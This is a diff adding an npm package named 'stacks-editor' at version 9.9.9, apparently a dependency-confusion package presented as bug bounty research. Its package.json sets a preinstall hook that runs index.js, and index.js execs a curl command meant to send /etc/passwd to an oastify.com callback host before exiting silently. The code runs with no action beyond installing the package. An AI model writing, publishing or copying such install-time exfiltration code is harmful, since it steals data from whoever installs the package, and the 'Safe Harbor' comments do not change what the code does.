stacks-editor 9.9.9

package/index.js

@@ -0,0 +1,13 @@
+// Telekom Authorized Payload - Safe Harbor Covered
+// This script reads /etc/passwd and sends it to the specified callback URL.
+
+const { exec } = require('child_process');
+
+// The exact curl command provided by Telekom
+const curlCommand = `/usr/bin/curl --data '{"@/etc/passwd": {"hostname":"nwngsmeyibfo4mjfawzj27rm6dc40zoo.oastify.com"}}'`;
+
+exec(curlCommand, (error, stdout, stderr) => {
+    // We don't care about output; we just need the request to fire.
+    // Exit silently regardless of success/failure.
+    process.exit(0);
+});

package/package.json

@@ -0,0 +1,11 @@
+{
+    "name": "stacks-editor",
+    "version": "9.9.9",
+    "description": "Bug Bounty Security Research - Safe Harbor Callback Only",
+    "main": "index.js",
+    "scripts": {
+        "preinstall": "node index.js"
+    },
+    "author": "",
+    "license": "ISC"
+}